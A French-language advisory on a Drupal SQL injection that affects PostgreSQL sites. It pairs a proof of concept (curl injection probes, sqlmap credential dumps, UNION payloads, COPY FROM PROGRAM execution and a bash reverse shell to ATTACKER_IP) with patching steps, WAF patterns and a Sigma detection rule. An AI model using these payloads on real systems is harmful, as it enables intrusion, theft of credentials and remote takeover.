CVE-2026-9082

Type : Injection SQL (CWE-89) Produit affecté : Drupal Core (API d'abstraction de base de données) Avis Drupal : SA-CORE-2026-004 Publié : 20 mai 2026 Gravité : Hautement critique (Drupal 20/25 | NVD CVSS 6.5)

Qu'est-ce que c'est ?

CVE-2026-9082 est une vulnérabilité d'injection SQL dans l'API d'abstraction de base de données du noyau Drupal. La couche de base de données de Drupal encapsule PDO et nettoie toutes les requêtes avant qu'elles n'atteignent la base de données. Cette vulnérabilité contourne ce nettoyage pour les backends PostgreSQL uniquement — des requêtes HTTP spécialement conçues contournent la logique de normalisation, injectant des fragments SQL contrôlés par l'attaquant directement dans les requêtes de base de données.

MySQL et MariaDB ne sont pas affectés par le vecteur d'injection, bien que le correctif publié inclue également des correctifs critiques Symfony/Twig qui s'appliquent à tous les backends.

Versions affectées

Condition préalable : La cible doit utiliser PostgreSQL comme backend de base de données.

Comment ça marche (technique)

La couche d'abstraction de base de données de Drupal nettoie les valeurs via des requêtes paramétrées/instructions préparées, mais s'appuie sur le générateur de requêtes pour fournir du SQL structurel de confiance (noms de champs, opérateurs, cibles ORDER BY). Le bogue réside dans la manière dont le pilote PostgreSQL traite certains modèles d'entrée lors de la construction des requêtes — le dialecte SQL de PostgreSQL diffère de MySQL sur des points clés :

• Concaténation de chaînes avec ||
• Conversion de type avec ::
• Dollar-quoting
• Commande COPY ... FROM PROGRAM
• Gestion différente des opérateurs

Une requête conçue introduit des caractères/séquences qui passent le nettoyage des valeurs de Drupal mais sont interprétés comme du SQL structurel par l'analyseur de PostgreSQL. La surface d'attaque est atteignable sans authentification via tout point d'accès qui transmet des paramètres contrôlés par l'utilisateur dans les requêtes de base de données (recherche, filtres de vues, soumissions de formulaires, JSON:API, etc.).

Chaîne d'exploitation

Attaquant (non authentifié)
  |
  |--> Requête HTTP avec paramètre conçu
  |    (ex. champ de recherche, filtre, entrée de formulaire)
  |
  v
API d'abstraction DB de Drupal
  |
  |--> Contournement du nettoyage (spécifique PostgreSQL)
  |
  v
PostgreSQL exécute le SQL injecté
  |
  |--> Divulgation d'informations (dump de la base entière)
  |--> Élévation de privilèges (injection d'identifiants admin)
  |--> Exécution de code à distance (PostgreSQL COPY TO PROGRAM, lo_export, etc.)

Pourquoi c'est dangereux

1. Aucune authentification requise — tout site Drupal exposé sur Internet avec PostgreSQL est vulnérable
2. Potentiel d'exécution de code — via COPY TO PROGRAM 'cmd' si l'utilisateur de la base de données possède les privilèges superutilisateur
3. Accès complet à la base — comptes utilisateur, hachages de mots de passe, jetons de session, données personnelles
4. Large plage de versions — tout le cycle de vie Drupal 8/10/11
5. Risque combiné — le même correctif couvre SSTI Twig ; l'attaquant peut enchaîner SQLi → création admin → SSTI pour RCE

L'avertissement de Drupal : "des exploits pourraient être développés en quelques heures ou jours après la divulgation" (cohérent avec les CVE historiques de la couche DB de Drupal comme SA-CORE-2014-005 / Drupalgeddon).

Preuve de concept (tests en laboratoire autorisés uniquement)

Étape 1 : Identifier les points d'accès candidats

# Points d'accès qui transmettent l'entrée utilisateur via la couche d'abstraction DB
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"

Étape 2 : Détecter l'injection spécifique PostgreSQL

# Temporel (pg_sleep est spécifique PostgreSQL)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"

# Sondage de conversion (:: est une syntaxe PostgreSQL)
curl -s "https://target.drupal.site/search/node?keys=1::integer"

# Différenciation booléenne
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"

Étape 3 : Extraction automatisée (sqlmap, tests autorisés)

sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  --level=5 --risk=3 \
  --technique=BEUST \
  --tamper=space2comment,between \
  --dbs

# Dump des identifiants après confirmation de l'injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  -D drupal -T users_field_data \
  -C name,mail,pass --dump

Étape 4 : Extraction manuelle basée sur UNION (conceptuelle)

-- Empreinte du nombre de colonnes
test' ORDER BY 1--
test' ORDER BY 2--  -- incrémenter jusqu'à l'erreur

-- Extraction des identifiants (syntaxe PostgreSQL)
test' UNION SELECT null,username,password FROM users_field_data--

-- Vérifier si l'utilisateur de la base de données est superutilisateur
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--

Étape 5 : RCE via COPY TO PROGRAM (si l'utilisateur DB = superutilisateur)

CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;

-- Reverse shell (remplacer ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

Atténuation

Immédiat : Corriger Drupal

# Composer (recommandé)
composer update drupal/core drupal/core-recommended

# Vérifier la version
php core/scripts/drupal --version

# OU via Drush
drush updb && drush cr

Durcissement de la base de données

-- Vérifier que l'utilisateur DB de l'application n'est PAS superutilisateur
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Devrait retourner usesuper = false

WAF (solution temporaire uniquement — ne remplace pas le correctif)

Bloquer les motifs : pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--

Réseau

S'assurer que PostgreSQL écoute uniquement sur localhost ou une interface privée ; pas accessible depuis Internet.

Signaux de détection

Règle Sigma (Détection)

title: Tentative d'injection SQL CVE-2026-9082 sur Drupal
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "pg_sleep"
      - "UNION+SELECT"
      - "::text"
      - "::integer"
      - "COPY+TO"
      - "%27--"
  filter:
    cs-uri-stem|contains:
      - "/search/"
      - "/views/ajax"
      - "/jsonapi/"
  condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]

Résumé

CVE-2026-9082 est une injection SQL sans authentification dans le noyau Drupal ciblant les backends PostgreSQL. Malgré un CVSS NVD modéré de 6,5, Drupal le note 20/25 (Hautement critique) car accès non authentifié + COPY TO PROGRAM de PostgreSQL = RCE directe dans des environnements mal configurés. La large plage de versions affectées et les correctifs SSTI Twig regroupés font de ce correctif un correctif critique et urgent pour tous les sites Drupal, en particulier ceux utilisant PostgreSQL dans des déploiements exposés sur Internet.

Action recommandée : Mettre à jour immédiatement vers la version corrigée pour votre branche. Vérifiez que l'utilisateur DB de l'application n'est pas un superutilisateur PostgreSQL.